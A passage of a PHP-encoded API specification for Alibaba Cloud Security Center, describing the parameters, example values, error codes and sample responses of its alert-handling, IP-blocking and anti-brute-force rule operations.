**kill_process**: terminates the malicious process.'."\n" .'* **cleanup**: performs in-depth virus detection and removal.'."\n" .'* **kill\\_and_quara**: kills the malicious processes and quarantines the source file.'."\n" .'* **disable\\_malicious_defense**: stops the container on which the alerting files or processes exist.'."\n" .'* **client\\_problem_check**: performs troubleshooting.'."\n" .'* **quara**: quarantines the source file of the malicious process.', 'type' => 'string', 'required' => true, 'example' => 'block_ip', ], ], [ 'name' => 'OperationParams', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of the operation that you want to perform to handle the alert events.'."\n" ."\n" .'> If you set OperationCode to `kill_and_quara` or `block_ip`, you must specify OperationParams. If you set OperationCode to other values, you can leave OperationParams empty.'."\n", 'type' => 'string', 'required' => false, 'example' => '{}', ], ], [ 'name' => 'MarkMissParam', 'in' => 'query', 'schema' => [ 'description' => 'The whitelist rule. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **field**: The field based on which alert events are added to the whitelist.'."\n" ."\n" .'* **operate**: The method that is used to added alert events to the whitelist. Valid values:'."\n" ."\n" .' * **notContains**: does not contain'."\n" .' * **contains**: contains'."\n" .' * **regex**: matches by regular expression'."\n" .' * **strEqual**: equals'."\n" .' * **strNotEqual**: does not equal'."\n" ."\n" .'* **fieldValue**: The value of the field based on which alert events are added to the whitelist.'."\n" ."\n" .'* **uuid**: The application scope of the whitelist rule. Valid values:'."\n" ."\n" .' * **part**: the current asset'."\n" .' * **ALL**: all assets'."\n" ."\n" .'> You can call the [DescribeSecurityEventOperations](~~DescribeSecurityEventOperations~~) operation to obtain the fields that you can specify for **field**.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"uuid":"part","field":"gmtModified","operate":"contains","fieldValue":"asd"},{"uuid":"part","field":"loginUser","operate":"contains","fieldValue":"vff"}]', ], ], [ 'name' => 'MarkBatch', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to add multiple alert events to the whitelist at a time. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'SecurityEventIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'string', 'required' => true, 'example' => '909361', ], 'required' => true, 'example' => '["909361"]', 'maxItems' => 100, ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks of the handling operation.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark test.', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '16670360956*****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FF0020B9-999F-5DE2-985F-DB282BDA5311', ], 'HandleSecurityEventsResponse' => [ 'description' => 'The handling result of the alert events.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the task to handle the alert events.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '15411', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'SecurityEventNotExists', 'errorMessage' => 'Security event not exists.', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"FF0020B9-999F-5DE2-985F-DB282BDA5311\\",\\n \\"HandleSecurityEventsResponse\\": {\\n \\"TaskId\\": 15411\\n }\\n}","errorExample":""},{"type":"xml","example":"FF0020B9-999F-5DE2-985F-DB282BDA5311\\n\\n 15411\\n","errorExample":""}]', 'title' => 'HandleSecurityEvents', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'OperationSuspEvents' => [ 'summary' => 'Handles multiple exceptions at a time.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'SuspiciousEventIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of alert events.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to obtain the IDs of alert events from the SecurityEventIds response parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => '290852', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on alerts. Valid values:'."\n" ."\n" .'* **deal**: quarantines the source file of the malicious process.'."\n" .'* **ignore**: ignores the alerts.'."\n" .'* **mark_mis_info**: marks the alerts as false positives by adding the alerts to the whitelist.'."\n" .'* **rm_mark_mis_info**: cancels false positives by removing the alerts from the whitelist.'."\n" .'* **offline_handled**: marks the alerts as handled.'."\n", 'type' => 'string', 'required' => true, 'example' => 'deal', ], ], [ 'name' => 'SubOperation', 'in' => 'query', 'schema' => [ 'description' => 'The suboperation that you want to perform when you quarantine the source file of the malicious process. Valid values:'."\n" ."\n" .'* **killAndQuaraFileByPidAndMd5andPath**: terminates the process based on its process ID (PID) and quarantines the source file of the process.'."\n" .'* **quaraFileByMd5andPath**: quarantines the source file of the process.'."\n" .'* **killAndQuaraFileByMd5andPath**: terminates the process and quarantines the source file of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'killAndQuaraFileByPidAndMd5andPath', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source.'."\n" ."\n" .'Set the value to **sas**, which indicates that the request is sent from Security Center.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'WarnType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the exceptions. Valid values:'."\n" ."\n" .'* **alarm**: alerts'."\n" .'* **null**: exceptions'."\n", 'type' => 'string', 'required' => false, 'example' => 'alarm', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether exceptions are handled. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'AccessCode' => [ 'description' => 'Indicates whether you have access permissions. Valid values:'."\n" ."\n" .'* **pass**: yes'."\n" .'* **no_permission**: no'."\n", 'type' => 'string', 'example' => 'pass', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ClientOffline', 'errorMessage' => 'Client offline', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"AccessCode\\": \\"pass\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\n pass\\n true\\n","errorExample":""}]', 'title' => 'OperationSuspEvents', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyCustomBlockRecord' => [ 'summary' => 'Modifies a custom IP address blocking policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '2516fe4f-adb6-45d1-87a7-90ce1213****,30746836-68d0-47f6-8b2d-c93150da****,7c3ac531-077b-46b8-8706-5c8d4e73****', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to specify in the policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '10.12.XX.XX', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that you want to specify in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => true, 'example' => 'out', ], ], [ 'name' => 'ExpireTime', 'in' => 'query', 'schema' => [ 'description' => 'The expiration time of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1940899881000', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EE4B1F-CEF8-5A75-86D3-D012CB3D****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EE4B1F-CEF8-5A75-86D3-D012CB3D****\\"\\n}","type":"json"}]', 'title' => 'ModifyCustomBlockRecord', ], 'EnableCustomBlockRecord' => [ 'summary' => 'Enables a custom IP address blocking policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that is specified in the policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '43.248.XX.XX', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that is specified in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => true, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F02D5F26-70B9-53BD-9CDF-A316FD11****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F02D5F26-70B9-53BD-9CDF-A316FD11****\\"\\n}","type":"json"}]', 'title' => 'EnableCustomBlockRecord', ], 'EnableBruteForceRecord' => [ 'summary' => 'Enables an IP address blocking policy for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy that you want to enable.'."\n" ."\n" .'> You can call the [DescribeBruteForceRecords](~~DescribeBruteForceRecords~~) operation to query the IDs of policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '116602XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => '71046acb-8bff-4c3b-9163-24deb007****', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that is specified in the policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '61.155.XX.XX', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number.'."\n", 'type' => 'string', 'required' => false, 'example' => '22/22', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that is specified in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => false, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DFAECA37-4660-5EB6-9A18-8FDF56B3****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DFAECA37-4660-5EB6-9A18-8FDF56B3****\\"\\n}","type":"json"}]', 'title' => 'EnableBruteForceRecord', ], 'DisableBruteForceRecord' => [ 'summary' => 'Disables an IP address blocking policy that is in effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the IP address blocking policy.'."\n" ."\n" .'> You can call the [DescribeBruteForceRecords](~~DescribeBruteForceRecords~~) operation to query the policy ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '114166XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cbb9aa80-a8d1-443c-9ff0-2c36cd39****', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to specify in the policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '8.210.XX.XX', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number.'."\n", 'type' => 'string', 'required' => false, 'example' => '*/*', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that you want to specify in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => false, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '5EFF53F7-9B2A-58B5-AD06-6B07ACE17133', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5EFF53F7-9B2A-58B5-AD06-6B07ACE17133\\"\\n}","type":"json"}]', 'title' => 'DisableBruteForceRecord', ], 'DisableCustomBlockRecord' => [ 'summary' => 'Disables a custom IP address blocking policy for servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that is specified in the policy.'."\n" ."\n" .'> You can call the [DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~) operation to query the IP address.'."\n", 'type' => 'string', 'required' => true, 'example' => '62.233.XX.XX', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that is specified in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => true, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F749D54C-3CA0-5F68-835C-AD35A2BD29EA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F749D54C-3CA0-5F68-835C-AD35A2BD29EA\\"\\n}","type":"json"}]', 'title' => 'DisableCustomBlockRecord', ], 'DescribeBruteForceRecords' => [ 'summary' => 'Queries the IP addresses that are blocked by a defense rule against brute-force attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '92010', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **0**: invalid'."\n" .'* **1**: enabled'."\n" .'* **2**: failed'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that is blocked.'."\n", 'type' => 'string', 'required' => false, 'example' => '175.106.XX.XX', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page. We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'InstanceId', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The ID of the server.', 'example' => 'i-bp1g6wxdwps7s9dz****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'type' => 'string', 'required' => false, 'description' => 'The name or IP address of the server to query.', 'example' => '1.2.XX.XX', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '263', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'MachineList' => [ 'description' => 'The IP addresses.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the IP address.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the defense rule. Valid values:'."\n" ."\n" .'* **0**: invalid'."\n" .'* **1**: enabled'."\n" .'* **2**: failed'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'BlockExpireDate' => [ 'description' => 'The timestamp when the block action on the IP address becomes invalid.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671506882063', ], 'Uuid' => [ 'description' => 'The UUID of the server on which the defense rule takes effect.'."\n", 'type' => 'string', 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****'."\n", ], 'InternetIp' => [ 'description' => 'The public IP address.'."\n", 'type' => 'string', 'example' => '120.79.XX.XX', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'record-test-***', ], 'BlockIp' => [ 'description' => 'The IP address that is blocked.'."\n", 'type' => 'string', 'example' => '10.12.XX.XX', ], 'Port' => [ 'description' => 'The port that is attacked.'."\n", 'type' => 'string', 'example' => '22/22', ], 'Source' => [ 'description' => 'The type of the defense rule. Valid values:'."\n" ."\n" .'* **userRule**: custom rule'."\n" .'* **blinkRule**: system rule'."\n", 'type' => 'string', 'example' => 'userRule', ], 'IntranetIp' => [ 'description' => 'The private IP address.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Id' => [ 'description' => 'The ID of the primary key that is recorded in the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '112XX', ], 'RuleName' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'example' => 'AntiRuleName', ], 'ErrorCode' => [ 'description' => 'The error code returned when the defense rule fails to block the IP address.'."\n", 'type' => 'string', 'example' => 'InstanceSecurityGroupLimitExceeded', ], 'BlockType' => [ 'description' => 'The blocking type. Valid values:'."\n" ."\n" .'* **group**: security group'."\n" .'* **alinet**: host network extension'."\n", 'type' => 'string', 'example' => 'alinet', ], 'AliNetOnline' => [ 'description' => 'The status of the host network extension. Valid values:'."\n" ."\n" .'* **true**: online'."\n" .'* **false**: offline'."\n", 'type' => 'boolean', 'example' => 'false', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 263,\\n \\"Count\\": 10\\n },\\n \\"MachineList\\": [\\n {\\n \\"Status\\": 2,\\n \\"BlockExpireDate\\": 1671506882063,\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\\\n\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"InstanceName\\": \\"record-test-***\\",\\n \\"BlockIp\\": \\"10.12.XX.XX\\",\\n \\"Port\\": \\"22/22\\",\\n \\"Source\\": \\"userRule\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Id\\": 0,\\n \\"RuleName\\": \\"AntiRuleName\\",\\n \\"ErrorCode\\": \\"InstanceSecurityGroupLimitExceeded\\",\\n \\"BlockType\\": \\"alinet\\",\\n \\"AliNetOnline\\": false\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeBruteForceRecords', ], 'DeleteCustomBlockRecord' => [ 'summary' => 'Deletes a specified IP address blocking policy from one or more servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the IP address blocking policy.'."\n" ."\n" .'> You can call the [DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '381**', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', 'title' => 'DeleteCustomBlockRecord', ], 'CreateCustomBlockRecord' => [ 'summary' => 'Creates an IP address blocking policy for one or more servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91922', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => '71c846d6-5c84-4714-acfc-58265bc3****,5013b5e8-1613-43a8-b4de-651db318****,df53f0ad-b3ba-4fe0-9ec7-f42a2ae2****', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to specify in the policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '192.168.xx.xx', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that you want to specify in the policy. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => true, 'example' => 'in', ], ], [ 'name' => 'ExpireTime', 'in' => 'query', 'schema' => [ 'description' => 'The expiration time of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1859094550000', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RuleRecordIsExists', 'errorMessage' => 'Rule record already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', 'title' => 'CreateCustomBlockRecord', ], 'CreateAntiBruteForceRule' => [ 'summary' => 'Creates a defense rule against brute-force attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'required' => true, 'example' => 'TestAntiBruteForceRule', ], ], [ 'name' => 'Span', 'in' => 'query', 'schema' => [ 'description' => 'The maximum period of time during which failed logon attempts from an account can occur. Unit: minutes. Valid values:'."\n" ."\n" .'* **1**'."\n" .'* **2**'."\n" .'* **5**'."\n" .'* **10**'."\n" .'* **15**'."\n" ."\n" .'> To configure a defense rule, you must specify the Span, FailCount, and ForbiddenTime parameters. If the number of failed logon attempts from an account within the minutes specified by Span exceeds the value specified by FailCount, the account cannot be used for logons within the minutes specified by ForbiddenTime.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'FailCount', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of failed logon attempts from an account. Valid values: 2, 3, 4, 5, 10, 50, 80, and 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '2', ], ], [ 'name' => 'ForbiddenTime', 'in' => 'query', 'schema' => [ 'description' => 'The period of time during which logons from an account are not allowed. Unit: minutes. Valid values:'."\n" ."\n" .'* **5**'."\n" .'* **15**'."\n" .'* **30**'."\n" .'* **60**'."\n" .'* **120**'."\n" .'* **360**'."\n" .'* **720**'."\n" .'* **1440**'."\n" .'* **10080**'."\n" .'* **52560000**: permanent'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '5', ], ], [ 'name' => 'DefaultRule', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to set the defense rule as the default rule. Valid values:'."\n" 